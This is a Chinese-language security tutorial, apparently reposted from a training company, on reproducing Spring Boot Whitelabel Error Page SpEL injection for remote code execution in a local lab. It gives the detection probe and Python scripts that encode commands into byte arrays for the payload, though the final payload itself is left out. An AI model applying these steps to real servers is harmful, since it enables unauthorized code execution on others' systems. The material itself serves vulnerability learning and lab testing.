雨笋教育小编来分享干货了,近期审核关系,大家先看为尽,少一篇是一篇了。
利用条件:
利用方法:
步骤一:找到一个正常传参处比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误:Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。
步骤二:执行 SpEL 表达式输入 /article?id=${7*7},如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x** java 字节形式,方便执行任意代码:
# coding: utf-8
result = ""
target = 'calc' # 该处写上要执行的命令,例如calc 弹出计算器
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
以上 python3 脚本运行后的结果如下:
0x63,0x61,0x6c,0x63
漏洞原理:
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
环境搭建:
下载上述漏洞环境项目地址,在本地使用IDEA打开该项目,maven下载好相应依赖后,运行项目
访问本地的9091端口
环境搭建成功
漏洞复现:
访问url //127.0.0.1:9091/article?id=66
修改id 参数为 ${7*7}
页面报错,回显出7*7的结果,修改为8*8
利用脚本一:
使用脚本生成运行 calc 的byte数组 (hex表示)
# coding: utf-8
result = ""
target = 'calc' # 该处写上要执行的命令,例如calc 弹出计算器
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
使用payload,系统弹出计算器
利用脚本二:
使用脚本生成运行 calc 的byte数组 (十进制表示)
# coding: utf-8
result = ""
target = 'calc' # 该处写上要执行的命令,例如calc 弹出计算器
for x in target:
result += str(ord(x)) + ","
print(result.rstrip(','))
使用payload,系统弹出计算器
参考文章:
https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce
https://www.cnblogs.com/litlife/p/10183137.html
*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。